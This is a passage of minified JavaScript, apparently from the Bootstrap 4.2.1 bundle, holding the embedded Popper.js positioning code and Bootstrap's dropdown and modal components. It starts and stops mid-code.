document.documentElement;for(var e=t.parentElement;e&&"none"===Nt(e,"transform");)e=e.parentElement;return e||document.documentElement}function Gt(t,e,n,i){var o=4<arguments.length&&void 0!==arguments[4]&&arguments[4],r={top:0,left:0},s=o?zt(t):Ft(t,e);if("viewport"===i)r=function(t){var e=1<arguments.length&&void 0!==arguments[1]&&arguments[1],n=t.ownerDocument.documentElement,i=Xt(t,n),o=Math.max(n.clientWidth,window.innerWidth||0),r=Math.max(n.clientHeight,window.innerHeight||0),s=e?0:Mt(n),a=e?0:Mt(n,"left");return Yt({top:s-i.top+i.marginTop,left:a-i.left+i.marginLeft,width:o,height:r})}(s,o);else{var a=void 0;"scrollParent"===i?"BODY"===(a=Lt(kt(e))).nodeName&&(a=t.ownerDocument.documentElement):a="window"===i?t.ownerDocument.documentElement:i;var l=Xt(a,s,o);if("HTML"!==a.nodeName||function t(e){var n=e.nodeName;return"BODY"!==n&&"HTML"!==n&&("fixed"===Nt(e,"position")||t(kt(e)))}(s))r=l;else{var c=Bt(t.ownerDocument),h=c.height,u=c.width;r.top+=l.top-l.marginTop,r.bottom=h+l.top,r.left+=l.left-l.marginLeft,r.right=u+l.left}}var f="number"==typeof(n=n||0);return r.left+=f?n:n.left||0,r.top+=f?n:n.top||0,r.right-=f?n:n.right||0,r.bottom-=f?n:n.bottom||0,r}function Jt(t,e,i,n,o){var r=5<arguments.length&&void 0!==arguments[5]?arguments[5]:0;if(-1===t.indexOf("auto"))return t;var s=Gt(i,n,r,o),a={top:{width:s.width,height:e.top-s.top},right:{width:s.right-e.right,height:s.height},bottom:{width:s.width,height:s.bottom-e.bottom},left:{width:e.left-s.left,height:s.height}},l=Object.keys(a).map(function(t){return Qt({key:t},a[t],{area:(e=a[t],e.width*e.height)});var e}).sort(function(t,e){return e.area-t.area}),c=l.filter(function(t){var e=t.width,n=t.height;return e>=i.clientWidth&&n>=i.clientHeight}),h=0<c.length?c[0].key:l[0].key,u=t.split("-")[1];return h+(u?"-"+u:"")}function Zt(t,e,n){var i=3<arguments.length&&void 0!==arguments[3]?arguments[3]:null;return Xt(n,i?zt(e):Ft(e,n),i)}function $t(t){var e=t.ownerDocument.defaultView.getComputedStyle(t),n=parseFloat(e.marginTop||0)+parseFloat(e.marginBottom||0),i=parseFloat(e.marginLeft||0)+parseFloat(e.marginRight||0);return{width:t.offsetWidth+i,height:t.offsetHeight+n}}function te(t){var e={left:"right",right:"left",bottom:"top",top:"bottom"};return t.replace(/left|right|bottom|top/g,function(t){return e[t]})}function ee(t,e,n){n=n.split("-")[0];var i=$t(t),o={width:i.width,height:i.height},r=-1!==["right","left"].indexOf(n),s=r?"top":"left",a=r?"left":"top",l=r?"height":"width",c=r?"width":"height";return o[s]=e[s]+e[l]/2-i[l]/2,o[a]=n===a?e[a]-i[c]:e[te(a)],o}function ne(t,e){return Array.prototype.find?t.find(e):t.filter(e)[0]}function ie(t,n,e){return(void 0===e?t:t.slice(0,function(t,e,n){if(Array.prototype.findIndex)return t.findIndex(function(t){return t[e]===n});var i=ne(t,function(t){return t[e]===n});return t.indexOf(i)}(t,"name",e))).forEach(function(t){t.function&&console.warn("`modifier.function` is deprecated, use `modifier.fn`!");var e=t.function||t.fn;t.enabled&&Ot(e)&&(n.offsets.popper=Yt(n.offsets.popper),n.offsets.reference=Yt(n.offsets.reference),n=e(n,t))}),n}function oe(t,n){return t.some(function(t){var e=t.name;return t.enabled&&e===n})}function re(t){for(var e=[!1,"ms","Webkit","Moz","O"],n=t.charAt(0).toUpperCase()+t.slice(1),i=0;i<e.length;i++){var o=e[i],r=o?""+o+n:t;if("undefined"!=typeof document.body.style[r])return r}return null}function se(t){var e=t.ownerDocument;return e?e.defaultView:window}function ae(t,e,n,i){n.updateBound=i,se(t).addEventListener("resize",n.updateBound,{passive:!0});var o=Lt(t);return function t(e,n,i,o){var r="BODY"===e.nodeName,s=r?e.ownerDocument.defaultView:e;s.addEventListener(n,i,{passive:!0}),r||t(Lt(s.parentNode),n,i,o),o.push(s)}(o,"scroll",n.updateBound,n.scrollParents),n.scrollElement=o,n.eventsEnabled=!0,n}function le(){var t,e;this.state.eventsEnabled&&(cancelAnimationFrame(this.scheduleUpdate),this.state=(t=this.reference,e=this.state,se(t).removeEventListener("resize",e.updateBound),e.scrollParents.forEach(function(t){t.removeEventListener("scroll",e.updateBound)}),e.updateBound=null,e.scrollParents=[],e.scrollElement=null,e.eventsEnabled=!1,e))}function ce(t){return""!==t&&!isNaN(parseFloat(t))&&isFinite(t)}function he(n,i){Object.keys(i).forEach(function(t){var e="";-1!==["width","height","top","right","bottom","left"].indexOf(t)&&ce(i[t])&&(e="px"),n.style[t]=i[t]+e})}var ue=Ct&&/Firefox/i.test(navigator.userAgent);function fe(t,e,n){var i=ne(t,function(t){return t.name===e}),o=!!i&&t.some(function(t){return t.name===n&&t.enabled&&t.order<i.order});if(!o){var r="`"+e+"`",s="`"+n+"`";console.warn(s+" modifier is required by "+r+" modifier in order to work, be sure to include it before "+r+"!")}return o}var de=["auto-start","auto","auto-end","top-start","top","top-end","right-start","right","right-end","bottom-end","bottom","bottom-start","left-end","left","left-start"],pe=de.slice(3);function me(t){var e=1<arguments.length&&void 0!==arguments[1]&&arguments[1],n=pe.indexOf(t),i=pe.slice(n+1).concat(pe.slice(0,n));return e?i.reverse():i}var ge="flip",_e="clockwise",ve="counterclockwise";function ye(t,o,r,e){var s=[0,0],a=-1!==["right","left"].indexOf(e),n=t.split(/(\+|\-)/).map(function(t){return t.trim()}),i=n.indexOf(ne(n,function(t){return-1!==t.search(/,|\s/)}));n[i]&&-1===n[i].indexOf(",")&&console.warn("Offsets separated by white space(s) are deprecated, use a comma (,) instead.");var l=/\s*,\s*|\s+/,c=-1!==i?[n.slice(0,i).concat([n[i].split(l)[0]]),[n[i].split(l)[1]].concat(n.slice(i+1))]:[n];return(c=c.map(function(t,e){var n=(1===e?!a:a)?"height":"width",i=!1;return t.reduce(function(t,e){return""===t[t.length-1]&&-1!==["+","-"].indexOf(e)?(t[t.length-1]=e,i=!0,t):i?(t[t.length-1]+=e,i=!1,t):t.concat(e)},[]).map(function(t){return function(t,e,n,i){var o=t.match(/((?:\-|\+)?\d*\.?\d*)(.*)/),r=+o[1],s=o[2];if(!r)return t;if(0!==s.indexOf("%"))return"vh"!==s&&"vw"!==s?r:("vh"===s?Math.max(document.documentElement.clientHeight,window.innerHeight||0):Math.max(document.documentElement.clientWidth,window.innerWidth||0))/100*r;var a=void 0;switch(s){case"%p":a=n;break;case"%":case"%r":default:a=i}return Yt(a)[e]/100*r}(t,n,o,r)})})).forEach(function(n,i){n.forEach(function(t,e){ce(t)&&(s[i]+=t*("-"===n[e-1]?-1:1))})}),s}var Ee={placement:"bottom",positionFixed:!1,eventsEnabled:!0,removeOnDestroy:!1,onCreate:function(){},onUpdate:function(){},modifiers:{shift:{order:100,enabled:!0,fn:function(t){var e=t.placement,n=e.split("-")[0],i=e.split("-")[1];if(i){var o=t.offsets,r=o.reference,s=o.popper,a=-1!==["bottom","top"].indexOf(n),l=a?"left":"top",c=a?"width":"height",h={start:Kt({},l,r[l]),end:Kt({},l,r[l]+r[c]-s[c])};t.offsets.popper=Qt({},s,h[i])}return t}},offset:{order:200,enabled:!0,fn:function(t,e){var n=e.offset,i=t.placement,o=t.offsets,r=o.popper,s=o.reference,a=i.split("-")[0],l=void 0;return l=ce(+n)?[+n,0]:ye(n,r,s,a),"left"===a?(r.top+=l[0],r.left-=l[1]):"right"===a?(r.top+=l[0],r.left+=l[1]):"top"===a?(r.left+=l[0],r.top-=l[1]):"bottom"===a&&(r.left+=l[0],r.top+=l[1]),t.popper=r,t},offset:0},preventOverflow:{order:300,enabled:!0,fn:function(t,i){var e=i.boundariesElement||jt(t.instance.popper);t.instance.reference===e&&(e=jt(e));var n=re("transform"),o=t.instance.popper.style,r=o.top,s=o.left,a=o[n];o.top="",o.left="",o[n]="";var l=Gt(t.instance.popper,t.instance.reference,i.padding,e,t.positionFixed);o.top=r,o.left=s,o[n]=a,i.boundaries=l;var c=i.priority,h=t.offsets.popper,u={primary:function(t){var e=h[t];return h[t]<l[t]&&!i.escapeWithReference&&(e=Math.max(h[t],l[t])),Kt({},t,e)},secondary:function(t){var e="right"===t?"left":"top",n=h[e];return h[t]>l[t]&&!i.escapeWithReference&&(n=Math.min(h[e],l[t]-("right"===t?h.width:h.height))),Kt({},e,n)}};return c.forEach(function(t){var e=-1!==["left","top"].indexOf(t)?"primary":"secondary";h=Qt({},h,u[e](t))}),t.offsets.popper=h,t},priority:["left","right","top","bottom"],padding:5,boundariesElement:"scrollParent"},keepTogether:{order:400,enabled:!0,fn:function(t){var e=t.offsets,n=e.popper,i=e.reference,o=t.placement.split("-")[0],r=Math.floor,s=-1!==["top","bottom"].indexOf(o),a=s?"right":"bottom",l=s?"left":"top",c=s?"width":"height";return n[a]<r(i[l])&&(t.offsets.popper[l]=r(i[l])-n[c]),n[l]>r(i[a])&&(t.offsets.popper[l]=r(i[a])),t}},arrow:{order:500,enabled:!0,fn:function(t,e){var n;if(!fe(t.instance.modifiers,"arrow","keepTogether"))return t;var i=e.element;if("string"==typeof i){if(!(i=t.instance.popper.querySelector(i)))return t}else if(!t.instance.popper.contains(i))return console.warn("WARNING: `arrow.element` must be child of its popper element!"),t;var o=t.placement.split("-")[0],r=t.offsets,s=r.popper,a=r.reference,l=-1!==["left","right"].indexOf(o),c=l?"height":"width",h=l?"Top":"Left",u=h.toLowerCase(),f=l?"left":"top",d=l?"bottom":"right",p=$t(i)[c];a[d]-p<s[u]&&(t.offsets.popper[u]-=s[u]-(a[d]-p)),a[u]+p>s[d]&&(t.offsets.popper[u]+=a[u]+p-s[d]),t.offsets.popper=Yt(t.offsets.popper);var m=a[u]+a[c]/2-p/2,g=Nt(t.instance.popper),_=parseFloat(g["margin"+h],10),v=parseFloat(g["border"+h+"Width"],10),y=m-t.offsets.popper[u]-_-v;return y=Math.max(Math.min(s[c]-p,y),0),t.arrowElement=i,t.offsets.arrow=(Kt(n={},u,Math.round(y)),Kt(n,f,""),n),t},element:"[x-arrow]"},flip:{order:600,enabled:!0,fn:function(p,m){if(oe(p.instance.modifiers,"inner"))return p;if(p.flipped&&p.placement===p.originalPlacement)return p;var g=Gt(p.instance.popper,p.instance.reference,m.padding,m.boundariesElement,p.positionFixed),_=p.placement.split("-")[0],v=te(_),y=p.placement.split("-")[1]||"",E=[];switch(m.behavior){case ge:E=[_,v];break;case _e:E=me(_);break;case ve:E=me(_,!0);break;default:E=m.behavior}return E.forEach(function(t,e){if(_!==t||E.length===e+1)return p;_=p.placement.split("-")[0],v=te(_);var n,i=p.offsets.popper,o=p.offsets.reference,r=Math.floor,s="left"===_&&r(i.right)>r(o.left)||"right"===_&&r(i.left)<r(o.right)||"top"===_&&r(i.bottom)>r(o.top)||"bottom"===_&&r(i.top)<r(o.bottom),a=r(i.left)<r(g.left),l=r(i.right)>r(g.right),c=r(i.top)<r(g.top),h=r(i.bottom)>r(g.bottom),u="left"===_&&a||"right"===_&&l||"top"===_&&c||"bottom"===_&&h,f=-1!==["top","bottom"].indexOf(_),d=!!m.flipVariations&&(f&&"start"===y&&a||f&&"end"===y&&l||!f&&"start"===y&&c||!f&&"end"===y&&h);(s||u||d)&&(p.flipped=!0,(s||u)&&(_=E[e+1]),d&&(y="end"===(n=y)?"start":"start"===n?"end":n),p.placement=_+(y?"-"+y:""),p.offsets.popper=Qt({},p.offsets.popper,ee(p.instance.popper,p.offsets.reference,p.placement)),p=ie(p.instance.modifiers,p,"flip"))}),p},behavior:"flip",padding:5,boundariesElement:"viewport"},inner:{order:700,enabled:!1,fn:function(t){var e=t.placement,n=e.split("-")[0],i=t.offsets,o=i.popper,r=i.reference,s=-1!==["left","right"].indexOf(n),a=-1===["top","left"].indexOf(n);return o[s?"left":"top"]=r[n]-(a?o[s?"width":"height"]:0),t.placement=te(e),t.offsets.popper=Yt(o),t}},hide:{order:800,enabled:!0,fn:function(t){if(!fe(t.instance.modifiers,"hide","preventOverflow"))return t;var e=t.offsets.reference,n=ne(t.instance.modifiers,function(t){return"preventOverflow"===t.name}).boundaries;if(e.bottom<n.top||e.left>n.right||e.top>n.bottom||e.right<n.left){if(!0===t.hide)return t;t.hide=!0,t.attributes["x-out-of-boundaries"]=""}else{if(!1===t.hide)return t;t.hide=!1,t.attributes["x-out-of-boundaries"]=!1}return t}},computeStyle:{order:850,enabled:!0,fn:function(t,e){var n=e.x,i=e.y,o=t.offsets.popper,r=ne(t.instance.modifiers,function(t){return"applyStyle"===t.name}).gpuAcceleration;void 0!==r&&console.warn("WARNING: `gpuAcceleration` option moved to `computeStyle` modifier and will not be supported in future versions of Popper.js!");var s,a,l,c,h,u,f,d,p,m,g,_,v=void 0!==r?r:e.gpuAcceleration,y=jt(t.instance.popper),E=Vt(y),b={position:o.position},w=(s=t,a=window.devicePixelRatio<2||!ue,l=s.offsets,c=l.popper,h=l.reference,u=-1!==["left","right"].indexOf(s.placement),f=-1!==s.placement.indexOf("-"),d=h.width%2==c.width%2,p=h.width%2==1&&c.width%2==1,m=function(t){return t},g=a?u||f||d?Math.round:Math.floor:m,_=a?Math.round:m,{left:g(p&&!f&&a?c.left-1:c.left),top:_(c.top),bottom:_(c.bottom),right:g(c.right)}),T="bottom"===n?"top":"bottom",C="right"===i?"left":"right",S=re("transform"),D=void 0,I=void 0;if(I="bottom"===T?"HTML"===y.nodeName?-y.clientHeight+w.bottom:-E.height+w.bottom:w.top,D="right"===C?"HTML"===y.nodeName?-y.clientWidth+w.right:-E.width+w.right:w.left,v&&S)b[S]="translate3d("+D+"px, "+I+"px, 0)",b[T]=0,b[C]=0,b.willChange="transform";else{var A="bottom"===T?-1:1,O="right"===C?-1:1;b[T]=I*A,b[C]=D*O,b.willChange=T+", "+C}var N={"x-placement":t.placement};return t.attributes=Qt({},N,t.attributes),t.styles=Qt({},b,t.styles),t.arrowStyles=Qt({},t.offsets.arrow,t.arrowStyles),t},gpuAcceleration:!0,x:"bottom",y:"right"},applyStyle:{order:900,enabled:!0,fn:function(t){var e,n;return he(t.instance.popper,t.styles),e=t.instance.popper,n=t.attributes,Object.keys(n).forEach(function(t){!1!==n[t]?e.setAttribute(t,n[t]):e.removeAttribute(t)}),t.arrowElement&&Object.keys(t.arrowStyles).length&&he(t.arrowElement,t.arrowStyles),t},onLoad:function(t,e,n,i,o){var r=Zt(o,e,t,n.positionFixed),s=Jt(n.placement,r,e,t,n.modifiers.flip.boundariesElement,n.modifiers.flip.padding);return e.setAttribute("x-placement",s),he(e,{position:n.positionFixed?"fixed":"absolute"}),n},gpuAcceleration:void 0}}},be=function(){function r(t,e){var n=this,i=2<arguments.length&&void 0!==arguments[2]?arguments[2]:{};!function(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}(this,r),this.scheduleUpdate=function(){return requestAnimationFrame(n.update)},this.update=At(this.update.bind(this)),this.options=Qt({},r.Defaults,i),this.state={isDestroyed:!1,isCreated:!1,scrollParents:[]},this.reference=t&&t.jquery?t[0]:t,this.popper=e&&e.jquery?e[0]:e,this.options.modifiers={},Object.keys(Qt({},r.Defaults.modifiers,i.modifiers)).forEach(function(t){n.options.modifiers[t]=Qt({},r.Defaults.modifiers[t]||{},i.modifiers?i.modifiers[t]:{})}),this.modifiers=Object.keys(this.options.modifiers).map(function(t){return Qt({name:t},n.options.modifiers[t])}).sort(function(t,e){return t.order-e.order}),this.modifiers.forEach(function(t){t.enabled&&Ot(t.onLoad)&&t.onLoad(n.reference,n.popper,n.options,t,n.state)}),this.update();var o=this.options.eventsEnabled;o&&this.enableEventListeners(),this.state.eventsEnabled=o}return qt(r,[{key:"update",value:function(){return function(){if(!this.state.isDestroyed){var t={instance:this,styles:{},arrowStyles:{},attributes:{},flipped:!1,offsets:{}};t.offsets.reference=Zt(this.state,this.popper,this.reference,this.options.positionFixed),t.placement=Jt(this.options.placement,t.offsets.reference,this.popper,this.reference,this.options.modifiers.flip.boundariesElement,this.options.modifiers.flip.padding),t.originalPlacement=t.placement,t.positionFixed=this.options.positionFixed,t.offsets.popper=ee(this.popper,t.offsets.reference,t.placement),t.offsets.popper.position=this.options.positionFixed?"fixed":"absolute",t=ie(this.modifiers,t),this.state.isCreated?this.options.onUpdate(t):(this.state.isCreated=!0,this.options.onCreate(t))}}.call(this)}},{key:"destroy",value:function(){return function(){return this.state.isDestroyed=!0,oe(this.modifiers,"applyStyle")&&(this.popper.removeAttribute("x-placement"),this.popper.style.position="",this.popper.style.top="",this.popper.style.left="",this.popper.style.right="",this.popper.style.bottom="",this.popper.style.willChange="",this.popper.style[re("transform")]=""),this.disableEventListeners(),this.options.removeOnDestroy&&this.popper.parentNode.removeChild(this.popper),this}.call(this)}},{key:"enableEventListeners",value:function(){return function(){this.state.eventsEnabled||(this.state=ae(this.reference,this.options,this.state,this.scheduleUpdate))}.call(this)}},{key:"disableEventListeners",value:function(){return le.call(this)}}]),r}();be.Utils=("undefined"!=typeof window?window:global).PopperUtils,be.placements=de,be.Defaults=Ee;var we="dropdown",Te="bs.dropdown",Ce="."+Te,Se=".data-api",De=p.fn[we],Ie=new RegExp("38|40|27"),Ae={HIDE:"hide"+Ce,HIDDEN:"hidden"+Ce,SHOW:"show"+Ce,SHOWN:"shown"+Ce,CLICK:"click"+Ce,CLICK_DATA_API:"click"+Ce+Se,KEYDOWN_DATA_API:"keydown"+Ce+Se,KEYUP_DATA_API:"keyup"+Ce+Se},Oe="disabled",Ne="show",ke="dropup",Le="dropright",Pe="dropleft",xe="dropdown-menu-right",He="position-static",je='[data-toggle="dropdown"]',Re=".dropdown form",Fe=".dropdown-menu",Me=".navbar-nav",We=".dropdown-menu .dropdown-item:not(.disabled):not(:disabled)",Ue="top-start",Be="top-end",qe="bottom-start",Ke="bottom-end",Qe="right-start",Ye="left-start",Ve={offset:0,flip:!0,boundary:"scrollParent",reference:"toggle",display:"dynamic"},Xe={offset:"(number|string|function)",flip:"boolean",boundary:"(string|element)",reference:"(string|element)",display:"string"},ze=function(){function c(t,e){this._element=t,this._popper=null,this._config=this._getConfig(e),this._menu=this._getMenuElement(),this._inNavbar=this._detectNavbar(),this._addEventListeners()}var t=c.prototype;return t.toggle=function(){if(!this._element.disabled&&!p(this._element).hasClass(Oe)){var t=c._getParentFromElement(this._element),e=p(this._menu).hasClass(Ne);if(c._clearMenus(),!e){var n={relatedTarget:this._element},i=p.Event(Ae.SHOW,n);if(p(t).trigger(i),!i.isDefaultPrevented()){if(!this._inNavbar){if("undefined"==typeof be)throw new TypeError("Bootstrap's dropdowns require Popper.js (https://popper.js.org/)");var o=this._element;"parent"===this._config.reference?o=t:m.isElement(this._config.reference)&&(o=this._config.reference,"undefined"!=typeof this._config.reference.jquery&&(o=this._config.reference[0])),"scrollParent"!==this._config.boundary&&p(t).addClass(He),this._popper=new be(o,this._menu,this._getPopperConfig())}"ontouchstart"in document.documentElement&&0===p(t).closest(Me).length&&p(document.body).children().on("mouseover",null,p.noop),this._element.focus(),this._element.setAttribute("aria-expanded",!0),p(this._menu).toggleClass(Ne),p(t).toggleClass(Ne).trigger(p.Event(Ae.SHOWN,n))}}}},t.show=function(){if(!(this._element.disabled||p(this._element).hasClass(Oe)||p(this._menu).hasClass(Ne))){var t={relatedTarget:this._element},e=p.Event(Ae.SHOW,t),n=c._getParentFromElement(this._element);p(n).trigger(e),e.isDefaultPrevented()||(p(this._menu).toggleClass(Ne),p(n).toggleClass(Ne).trigger(p.Event(Ae.SHOWN,t)))}},t.hide=function(){if(!this._element.disabled&&!p(this._element).hasClass(Oe)&&p(this._menu).hasClass(Ne)){var t={relatedTarget:this._element},e=p.Event(Ae.HIDE,t),n=c._getParentFromElement(this._element);p(n).trigger(e),e.isDefaultPrevented()||(p(this._menu).toggleClass(Ne),p(n).toggleClass(Ne).trigger(p.Event(Ae.HIDDEN,t)))}},t.dispose=function(){p.removeData(this._element,Te),p(this._element).off(Ce),this._element=null,(this._menu=null)!==this._popper&&(this._popper.destroy(),this._popper=null)},t.update=function(){this._inNavbar=this._detectNavbar(),null!==this._popper&&this._popper.scheduleUpdate()},t._addEventListeners=function(){var e=this;p(this._element).on(Ae.CLICK,function(t){t.preventDefault(),t.stopPropagation(),e.toggle()})},t._getConfig=function(t){return t=l({},this.constructor.Default,p(this._element).data(),t),m.typeCheckConfig(we,t,this.constructor.DefaultType),t},t._getMenuElement=function(){if(!this._menu){var t=c._getParentFromElement(this._element);t&&(this._menu=t.querySelector(Fe))}return this._menu},t._getPlacement=function(){var t=p(this._element.parentNode),e=qe;return t.hasClass(ke)?(e=Ue,p(this._menu).hasClass(xe)&&(e=Be)):t.hasClass(Le)?e=Qe:t.hasClass(Pe)?e=Ye:p(this._menu).hasClass(xe)&&(e=Ke),e},t._detectNavbar=function(){return 0<p(this._element).closest(".navbar").length},t._getPopperConfig=function(){var e=this,t={};"function"==typeof this._config.offset?t.fn=function(t){return t.offsets=l({},t.offsets,e._config.offset(t.offsets)||{}),t}:t.offset=this._config.offset;var n={placement:this._getPlacement(),modifiers:{offset:t,flip:{enabled:this._config.flip},preventOverflow:{boundariesElement:this._config.boundary}}};return"static"===this._config.display&&(n.modifiers.applyStyle={enabled:!1}),n},c._jQueryInterface=function(e){return this.each(function(){var t=p(this).data(Te);if(t||(t=new c(this,"object"==typeof e?e:null),p(this).data(Te,t)),"string"==typeof e){if("undefined"==typeof t[e])throw new TypeError('No method named "'+e+'"');t[e]()}})},c._clearMenus=function(t){if(!t||3!==t.which&&("keyup"!==t.type||9===t.which))for(var e=[].slice.call(document.querySelectorAll(je)),n=0,i=e.length;n<i;n++){var o=c._getParentFromElement(e[n]),r=p(e[n]).data(Te),s={relatedTarget:e[n]};if(t&&"click"===t.type&&(s.clickEvent=t),r){var a=r._menu;if(p(o).hasClass(Ne)&&!(t&&("click"===t.type&&/input|textarea/i.test(t.target.tagName)||"keyup"===t.type&&9===t.which)&&p.contains(o,t.target))){var l=p.Event(Ae.HIDE,s);p(o).trigger(l),l.isDefaultPrevented()||("ontouchstart"in document.documentElement&&p(document.body).children().off("mouseover",null,p.noop),e[n].setAttribute("aria-expanded","false"),p(a).removeClass(Ne),p(o).removeClass(Ne).trigger(p.Event(Ae.HIDDEN,s)))}}}},c._getParentFromElement=function(t){var e,n=m.getSelectorFromElement(t);return n&&(e=document.querySelector(n)),e||t.parentNode},c._dataApiKeydownHandler=function(t){if((/input|textarea/i.test(t.target.tagName)?!(32===t.which||27!==t.which&&(40!==t.which&&38!==t.which||p(t.target).closest(Fe).length)):Ie.test(t.which))&&(t.preventDefault(),t.stopPropagation(),!this.disabled&&!p(this).hasClass(Oe))){var e=c._getParentFromElement(this),n=p(e).hasClass(Ne);if(n&&(!n||27!==t.which&&32!==t.which)){var i=[].slice.call(e.querySelectorAll(We));if(0!==i.length){var o=i.indexOf(t.target);38===t.which&&0<o&&o--,40===t.which&&o<i.length-1&&o++,o<0&&(o=0),i[o].focus()}}else{if(27===t.which){var r=e.querySelector(je);p(r).trigger("focus")}p(this).trigger("click")}}},s(c,null,[{key:"VERSION",get:function(){return"4.2.1"}},{key:"Default",get:function(){return Ve}},{key:"DefaultType",get:function(){return Xe}}]),c}();p(document).on(Ae.KEYDOWN_DATA_API,je,ze._dataApiKeydownHandler).on(Ae.KEYDOWN_DATA_API,Fe,ze._dataApiKeydownHandler).on(Ae.CLICK_DATA_API+" "+Ae.KEYUP_DATA_API,ze._clearMenus).on(Ae.CLICK_DATA_API,je,function(t){t.preventDefault(),t.stopPropagation(),ze._jQueryInterface.call(p(this),"toggle")}).on(Ae.CLICK_DATA_API,Re,function(t){t.stopPropagation()}),p.fn[we]=ze._jQueryInterface,p.fn[we].Constructor=ze,p.fn[we].noConflict=function(){return p.fn[we]=De,ze._jQueryInterface};var Ge="modal",Je="bs.modal",Ze="."+Je,$e=p.fn[Ge],tn={backdrop:!0,keyboard:!0,focus:!0,show:!0},en={backdrop:"(boolean|string)",keyboard:"boolean",focus:"boolean",show:"boolean"},nn={HIDE:"hide"+Ze,HIDDEN:"hidden"+Ze,SHOW:"show"+Ze,SHOWN:"shown"+Ze,FOCUSIN:"focusin"+Ze,RESIZE:"resize"+Ze,CLICK_DISMISS:"click.dismiss"+Ze,KEYDOWN_DISMISS:"keydown.dismiss"+Ze,MOUSEUP_DISMISS:"mouseup.dismiss"+Ze,MOUSEDOWN_DISMISS:"mousedown.dismiss"+Ze,CLICK_DATA_API:"click"+Ze+".data-api"},on="modal-scrollbar-measure",rn="modal-backdrop",sn="modal-open",an="fade",ln="show",cn=".modal-dialog",hn='[data-toggle="modal"]',un='[data-dismiss="modal"]',fn=".fixed-top, .fixed-bottom, .is-fixed, .sticky-top",dn=".sticky-top",pn=function(){function o(t,e){this._config=this._getConfig(e),this._element=t,this._dialog=t.querySelector(cn),this._backdrop=null,this._isShown=!1,this._isBodyOverflowing=!1,this._ignoreBackdropClick=!1,this._isTransitioning=!1,this._scrollbarWidth=0}var t=o.prototype;return t.toggle=function(t){return this._isShown?this.hide():this.show(t)},t.show=function(t){var e=this;if(!this._isShown&&!this._isTransitioning){p(this._element).hasClass(an)&&(this._isTransitioning=!0);var n=p.Event(nn.SHOW,{relatedTarget:t});p(this._element).trigger(n),this._isShown||n.isDefaultPrevented()||(this._isShown=!0,this._checkScrollbar(),this._setScrollbar(),this._adjustDialog(),this._setEscapeEvent(),this._setResizeEvent(),p(this._element).on(nn.CLICK_DISMISS,un,function(t){return e.hide(t)}),p(this._dialog).on(nn.MOUSEDOWN_DISMISS,function(){p(e._element).one(nn.MOUSEUP_DISMISS,function(t){p(t.target).is(e._element)&&(e._ignoreBackdropClick=!0)})}),this._showBackdrop(function(){return e._showElement(t)}))}},t.hide=function(t){var e=this;if(t&&t.preventDefault(),this._isShown&&!this._isTransitioning){var n=p.Event(nn.HIDE);if(p(this._element).trigger(n),this._isShown&&!n.isDefaultPrevented()){this._isShown=!1;var i=p(this._element).hasClass(an);if(i&&(this._isTransitioning=!0),this._setEscapeEvent(),this._setResizeEvent(),p(document).off(nn.FOCUSIN),p(this._element).removeClass(ln),p(this._element).off(nn.CLICK_DISMISS),p(this._dialog).off(nn.MOUSEDOWN_DISMISS),i){var o=m.getTransitionDurationFromElement(this._element);p(this._element).one(m.TRANSITION_END,function(t){return e._hideModal(t)}).emulateTransitionEnd(o)}else this._hideModal()}}},t.dispose=function(){[window,this._element,this._dialog].forEach(function(t){return p(t).off(Ze)}),p(document).off(nn.FOCUSIN),p.removeData(this._element,Je),this._config=null,this._element=null,this._dialog=null,this._backdrop=null,this._isShown=null,this._isBodyOverflowing=null,this._ignoreBackdropClick=null,this._isTransitioning=null,this._scrollbarWidth=null},t.handleUpdate=function(){this._adjustDialog()},t._getConfig=function(t){return t=l({},tn,t),m.typeCheckConfig(Ge,t,en),t},t._showElement=function(t){var e=this,n=p(this._element).hasClass(an);this._element.parentNode&&this._element.parentNode.nodeType===Node.ELEMENT_NODE||document.body.appendChild(this._element),this._element.style.display="block",this._element.removeAttribute("aria-hidden"),this._element.setAttribute("aria-modal",!0),this._element.scrollTop=0,n&&m.reflow(this._element),p(this._element).addClass(ln),this._config.focus&&this._enforceFocus();var i=p.Event(nn.SHOWN,{relatedTarget:t}),o=function(){e._config.focus&&e._element.focus(),e._isTransitioning=!1,p(e._element).trigger(i)};if(n){var r=m.getTransitionDurationFromElement(this._dialog);p(this._dialog).one(m.TRANSITION_END,o).emulateTransitionEnd(r)}else o()},t._enforceFocus=function(){var e=this;p(document).off(nn.FOCUSIN).on(nn.FOCUSIN,function(t){document!==t.target&&e._element!==t.target&&0===p(e._element).has(t.target).length&&e._element.focus()})},t._setEscapeEvent=function(){var e=this;this._isShown&&this._config.keyboard?p(this._element).on(nn.KEYDOWN_DISMISS,function(t){27===t.which&&(t.preventDefault(),e.hide())}):this._isShown||p(this._element).off(nn.KEYDOWN_DISMISS)},t._setResizeEvent=function(){var e=this;this._isShown?p(window).on(nn.RESIZE,function(t){return e.handleUpdate(t)}):p(window).off(nn.RESIZE)},t._hideModal=function(){var t=this;this._element.style.display="none",this._element.setAttribute("aria-hidden",!0),this._element.removeAttribute("aria-modal"),this._isTransitioning=!1,this._showBackdrop(function(){p(document.body).removeClass(sn),t._resetAdjustments(),t._resetScrollbar(),p(t._element).trigger(nn.HIDDEN)})},t._removeBackdrop=function(){this._backdrop&&(p(this._backdrop).remove(),this._backdrop=null)},t._showBackdrop=function(t){var e=this,n=p(this._element).hasClass(an)?an:"";if(this._isShown&&this._config.backdrop){if(this._backdrop=document.createElement("div"),this._backdrop.className=rn,n&&this._backdrop.classList.add(n),p(this._backdrop).appendTo(document.body),p(this._element).on(nn.CLICK_DISMISS,function(t){e._ignoreBackdropClick?e._ignoreBackdropClick=!1:t.target===t.currentTarget&&("static"===e._config.backdrop?e._element.focus():e.hide())}),n&&m.reflow(this._backdrop),p(this._backdrop).addClass(ln),!t)return;if(!n)return void t();var i=m.getTransitionDurationFromElement(this._backdrop);p(this._backdrop).one(m.TRANSITION_END,t).emulateTransitionEnd(i)}else if(!this._isShown&&this._backdrop){p(this._backdrop).removeClass(ln);var o=function(){e._removeBackdrop(),t&&t()};if(p(this._element).hasClass(an)){var r=m.getTransitionDurationFromElement(this._backdrop);p(this._backdrop).one(m.TRANSITION_END,o).emulateTransitionEnd(r)}else o()}else t&&t()},t._adjustDialog=function(){var 